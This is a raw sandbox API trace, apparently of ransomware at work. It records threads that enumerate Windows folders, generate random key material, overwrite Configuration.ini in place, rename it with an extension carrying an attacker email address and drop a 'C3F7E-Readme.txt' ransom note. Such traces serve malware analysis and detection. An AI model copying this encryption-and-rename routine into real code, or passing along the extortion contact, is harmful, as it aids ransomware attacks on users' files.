	[0077.314] FindNextFileW (in: hFindFile=0x2d706c0, lpFindFileData=0x2d86398 | out: lpFindFileData=0x2d86398*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1
	[0077.314] wcscmp (_String1="Pictures", _String2=".") returned 1
	[0077.314] wcscmp (_String1="Pictures", _String2="..") returned 1
	[0077.314] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2dac938
	[0077.314] wcscpy (in: _Dest=0x2dac938, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public"
	[0077.314] wcscat (in: _Dest=0x2dac938, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\"
	[0077.314] wcscat (in: _Dest=0x2dac938, _Source="Pictures" | out: _Dest="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures"
	[0077.314] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dac938, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x550
	[0077.315] FindNextFileW (in: hFindFile=0x2d706c0, lpFindFileData=0x2d86398 | out: lpFindFileData=0x2d86398*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1
	[0077.315] wcscmp (_String1="Videos", _String2=".") returned 1
	[0077.315] wcscmp (_String1="Videos", _String2="..") returned 1
	[0077.315] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2e) returned 0x47bb120
	[0077.315] wcscpy (in: _Dest=0x47bb120, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public"
	[0077.315] wcscat (in: _Dest=0x47bb120, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\"
	[0077.315] wcscat (in: _Dest=0x47bb120, _Source="Videos" | out: _Dest="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos"
	[0077.315] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47bb120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x54c
	[0077.316] FindNextFileW (in: hFindFile=0x2d706c0, lpFindFileData=0x2d86398 | out: lpFindFileData=0x2d86398*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0
	[0077.316] FindClose (in: hFindFile=0x2d706c0 | out: hFindFile=0x2d706c0) returned 1
	[0077.316] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86398) returned 1
	[0077.316] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77f30) returned 1
	[0077.316] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77010) returned 1

Thread:
	id = 159
	os_tid = 0x98c

	[0075.024] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d709c0
	[0075.024] wcscpy (in: _Dest=0x2d709c0, _Source="C:\\Windows10Upgrade\\2052" | out: _Dest="C:\\Windows10Upgrade\\2052") returned="C:\\Windows10Upgrade\\2052"
	[0075.024] wcscat (in: _Dest=0x2d709c0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\2052\\") returned="C:\\Windows10Upgrade\\2052\\"
	[0075.024] wcscat (in: _Dest=0x2d709c0, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\2052\\*") returned="C:\\Windows10Upgrade\\2052\\*"
	[0075.024] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d88a78
	[0075.024] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\2052\\*", lpFindFileData=0x2d88a78 | out: lpFindFileData=0x2d88a78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea35483d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea355be9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea355be9, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70700
	[0075.025] wcscmp (_String1=".", _String2=".") returned 0
	[0075.025] FindNextFileW (in: hFindFile=0x2d70700, lpFindFileData=0x2d88a78 | out: lpFindFileData=0x2d88a78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea35483d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea355be9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea355be9, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.025] wcscmp (_String1="..", _String2=".") returned 1
	[0075.025] wcscmp (_String1="..", _String2="..") returned 0
	[0075.025] FindNextFileW (in: hFindFile=0x2d70700, lpFindFileData=0x2d88a78 | out: lpFindFileData=0x2d88a78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea355be9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea355be9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x1cec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWINTL20.DLL", cAlternateFileName="")) returned 1
	[0075.025] wcscmp (_String1="DWINTL20.DLL", _String2=".") returned 1
	[0075.025] wcscmp (_String1="DWINTL20.DLL", _String2="..") returned 1
	[0075.025] FindNextFileW (in: hFindFile=0x2d70700, lpFindFileData=0x2d88a78 | out: lpFindFileData=0x2d88a78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea355be9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea355be9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x1cec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWINTL20.DLL", cAlternateFileName="")) returned 0
	[0075.025] FindClose (in: hFindFile=0x2d70700 | out: hFindFile=0x2d70700) returned 1
	[0075.025] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88a78) returned 1
	[0075.025] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d709c0) returned 1
	[0075.025] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d708c0) returned 1

Thread:
	id = 160
	os_tid = 0x13b0

	[0075.026] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\Configuration.ini" (normalized: "c:\\windows10upgrade\\configuration.ini")) returned 0x20
	[0075.026] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\Configuration.ini", dwFileAttributes=0x20) returned 1
	[0075.027] CreateFileW (lpFileName="C:\\Windows10Upgrade\\Configuration.ini" (normalized: "c:\\windows10upgrade\\configuration.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x960
	[0075.027] GetFileSizeEx (in: hFile=0x960, lpFileSize=0x8e8f988 | out: lpFileSize=0x8e8f988*=212) returned 1
	[0075.027] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c18
	[0075.027] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b78
	[0075.027] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0075.027] NtQuerySystemTime (in: CurrentTime=0x8e8f8e8 | out: CurrentTime=0x8e8f8e8*=132251868017602808) returned 0x0
	[0075.027] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0xca2a2dcd
	[0075.027] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0xb7b69a6a
	[0075.027] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0x5d8d64fb
	[0075.027] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0x690f1077
	[0075.027] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0x1f0f02be
	[0075.027] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0x60f810d5
	[0075.027] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0x76c7ec46
	[0075.027] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0x146d6270
	[0075.027] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0xbcbda687
	[0075.027] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0xb30cb583
	[0075.027] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0x76fc6e73
	[0075.027] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0xa7eef499
	[0075.027] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0x3b0e1421
	[0075.027] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0xa8038ebe
	[0075.027] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0xd90b05fb
	[0075.027] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0x580675b1
	[0075.027] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0x2f601d37
	[0075.027] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0xa848a277
	[0075.027] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0x5829d926
	[0075.027] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0x10ce1c61
	[0075.027] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0x67c92bac
	[0075.027] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0x4fb56b8c
	[0075.027] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0xed5fadf
	[0075.027] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0x8edb40b3
	[0075.027] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0xe092c75c
	[0075.027] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0x707c3b91
	[0075.027] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0x6184c436
	[0075.027] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0x7eb99097
	[0075.027] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0xba2eb4d4
	[0075.028] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0xb237bd13
	[0075.028] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0xcf348f88
	[0075.028] RtlRandom (in: Seed=0x8e8f8f4 | out: Seed=0x8e8f8f4) returned 0x30dc1da5
	[0075.036] ReadFile (in: hFile=0x960, lpBuffer=0x2e3afa8, nNumberOfBytesToRead=0xd4, lpNumberOfBytesRead=0x8e8f8e4, lpOverlapped=0x0 | out: lpBuffer=0x2e3afa8*, lpNumberOfBytesRead=0x8e8f8e4*=0xd4, lpOverlapped=0x0) returned 1
	[0075.037] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.037] WriteFile (in: hFile=0x960, lpBuffer=0x2e1df88*, nNumberOfBytesToWrite=0xd4, lpNumberOfBytesWritten=0x8e8f8e0, lpOverlapped=0x0 | out: lpBuffer=0x2e1df88*, lpNumberOfBytesWritten=0x8e8f8e0*=0xd4, lpOverlapped=0x0) returned 1
	[0075.041] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ba0
	[0075.041] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c18
	[0075.041] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c18) returned 1
	[0075.041] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e1df88) returned 1
	[0075.041] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3afa8) returned 1
	[0075.041] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04978) returned 1
	[0075.041] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73d20) returned 1
	[0075.041] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x2e3a578
	[0075.042] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.042] WriteFile (in: hFile=0x960, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x8e8f948, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x8e8f948*=0x113, lpOverlapped=0x0) returned 1
	[0075.044] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0075.044] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3a348) returned 1
	[0075.044] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47998) returned 1
	[0075.044] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3a578) returned 1
	[0075.044] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ba0) returned 1
	[0075.044] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b78) returned 1
	[0075.044] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ad8) returned 1
	[0075.044] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47830) returned 1
	[0075.044] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x92) returned 0x2d5a520
	[0075.044] wcscpy (in: _Dest=0x2d5a520, _Source="C:\\Windows10Upgrade\\Configuration.ini" | out: _Dest="C:\\Windows10Upgrade\\Configuration.ini") returned="C:\\Windows10Upgrade\\Configuration.ini"
	[0075.044] wcscat (in: _Dest=0x2d5a520, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\Configuration.ini.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\Configuration.ini.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0075.044] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\Configuration.ini.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x8e8f900, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\Configuration.ini.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0075.044] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d61dc0
	[0075.045] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61dc0) returned 1
	[0075.045] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f268) returned 1
	[0075.045] NtQueryInformationFile (in: FileHandle=0x960, IoStatusBlock=0x8e8f90c, FileInformation=0x8e8f8e4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x8e8f90c, FileInformation=0x8e8f8e4) returned 0x0
	[0075.045] NtSetInformationFile (FileHandle=0x960, IoStatusBlock=0x8e8f90c, FileInformation=0x8e8f8e4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0075.046] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5a520) returned 1
	[0075.046] FlushFileBuffers (hFile=0x960) returned 1
	[0075.048] CloseHandle (hObject=0x960) returned 1
	[0075.049] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2d85970
	[0075.049] wcscpy (in: _Dest=0x2d85970, _Source="C:\\Windows10Upgrade\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\"
	[0075.049] wcscat (in: _Dest=0x2d85970, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\C3F7E-Readme.txt") returned="C:\\Windows10Upgrade\\C3F7E-Readme.txt"
	[0075.049] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\C3F7E-Readme.txt" (normalized: "c:\\windows10upgrade\\c3f7e-readme.txt")) returned 0xffffffff
	[0075.049] CreateFileW (lpFileName="C:\\Windows10Upgrade\\C3F7E-Readme.txt" (normalized: "c:\\windows10upgrade\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x960
	[0075.050] WriteFile (in: hFile=0x960, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0x8e8f908, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0x8e8f908*=0x6f6, lpOverlapped=0x0) returned 1
	[0075.051] CloseHandle (hObject=0x960) returned 1
	[0075.051] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85970) returned 1
	[0075.051] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d53cd8) returned 1

Thread:
	id = 161
	os_tid = 0x1380

	[0075.038] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d708c0
	[0075.038] wcscpy (in: _Dest=0x2d708c0, _Source="C:\\Windows10Upgrade\\dll1" | out: _Dest="C:\\Windows10Upgrade\\dll1") returned="C:\\Windows10Upgrade\\dll1"
	[0075.038] wcscat (in: _Dest=0x2d708c0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\dll1\\") returned="C:\\Windows10Upgrade\\dll1\\"
	[0075.038] wcscat (in: _Dest=0x2d708c0, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\dll1\\*") returned="C:\\Windows10Upgrade\\dll1\\*"
	[0075.039] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d88a78
	[0075.039] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\dll1\\*", lpFindFileData=0x2d88a78 | out: lpFindFileData=0x2d88a78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3757e9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea377ed3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea37926f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70700
	[0075.051] wcscmp (_String1=".", _String2=".") returned 0
	[0075.051] FindNextFileW (in: hFindFile=0x2d70700, lpFindFileData=0x2d88a78 | out: lpFindFileData=0x2d88a78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3757e9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea377ed3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea37926f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.052] wcscmp (_String1="..", _String2=".") returned 1
	[0075.052] wcscmp (_String1="..", _String2="..") returned 0
	[0075.052] FindNextFileW (in: hFindFile=0x2d70700, lpFindFileData=0x2d88a78 | out: lpFindFileData=0x2d88a78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea376b75, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea376b75, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x204c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="cosqueryxp.dll", cAlternateFileName="COSQUE~1.DLL")) returned 1
	[0075.052] wcscmp (_String1="cosqueryxp.dll", _String2=".") returned 1
	[0075.052] wcscmp (_String1="cosqueryxp.dll", _String2="..") returned 1
	[0075.052] FindNextFileW (in: hFindFile=0x2d70700, lpFindFileData=0x2d88a78 | out: lpFindFileData=0x2d88a78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea377ed3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea377ed3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x3b0c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="wdscore.dll", cAlternateFileName="")) returned 1
	[0075.052] wcscmp (_String1="wdscore.dll", _String2=".") returned 1
	[0075.052] wcscmp (_String1="wdscore.dll", _String2="..") returned 1
	[0075.052] FindNextFileW (in: hFindFile=0x2d70700, lpFindFileData=0x2d88a78 | out: lpFindFileData=0x2d88a78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea37926f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37926f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0xe9ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="webservices.dll", cAlternateFileName="WEBSER~1.DLL")) returned 1
	[0075.052] wcscmp (_String1="webservices.dll", _String2=".") returned 1
	[0075.052] wcscmp (_String1="webservices.dll", _String2="..") returned 1
	[0075.052] FindNextFileW (in: hFindFile=0x2d70700, lpFindFileData=0x2d88a78 | out: lpFindFileData=0x2d88a78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea37926f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37926f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0xe9ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="webservices.dll", cAlternateFileName="WEBSER~1.DLL")) returned 0
	[0075.052] FindClose (in: hFindFile=0x2d70700 | out: hFindFile=0x2d70700) returned 1
	[0075.052] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88a78) returned 1
	[0075.052] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d708c0) returned 1
	[0075.052] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70880) returned 1

Thread:
	id = 162
	os_tid = 0x1168

	[0075.053] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d70880
	[0075.053] wcscpy (in: _Dest=0x2d70880, _Source="C:\\Windows10Upgrade\\dll2" | out: _Dest="C:\\Windows10Upgrade\\dll2") returned="C:\\Windows10Upgrade\\dll2"
	[0075.053] wcscat (in: _Dest=0x2d70880, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\dll2\\") returned="C:\\Windows10Upgrade\\dll2\\"
	[0075.053] wcscat (in: _Dest=0x2d70880, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\dll2\\*") returned="C:\\Windows10Upgrade\\dll2\\*"
	[0075.053] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d88a78
	[0075.053] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\dll2\\*", lpFindFileData=0x2d88a78 | out: lpFindFileData=0x2d88a78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea37cd05, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37cd05, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea37e09b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70700
	[0075.054] wcscmp (_String1=".", _String2=".") returned 0
	[0075.054] FindNextFileW (in: hFindFile=0x2d70700, lpFindFileData=0x2d88a78 | out: lpFindFileData=0x2d88a78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea37cd05, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37cd05, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea37e09b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.054] wcscmp (_String1="..", _String2=".") returned 1
	[0075.054] wcscmp (_String1="..", _String2="..") returned 0
	[0075.054] FindNextFileW (in: hFindFile=0x2d70700, lpFindFileData=0x2d88a78 | out: lpFindFileData=0x2d88a78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea37e09b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37e09b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xb8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="webservices.dll", cAlternateFileName="WEBSER~1.DLL")) returned 1
	[0075.054] wcscmp (_String1="webservices.dll", _String2=".") returned 1
	[0075.054] wcscmp (_String1="webservices.dll", _String2="..") returned 1
	[0075.054] FindNextFileW (in: hFindFile=0x2d70700, lpFindFileData=0x2d88a78 | out: lpFindFileData=0x2d88a78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea37e09b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37e09b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xb8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="webservices.dll", cAlternateFileName="WEBSER~1.DLL")) returned 0
	[0075.054] FindClose (in: hFindFile=0x2d70700 | out: hFindFile=0x2d70700) returned 1
	[0075.054] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88a78) returned 1
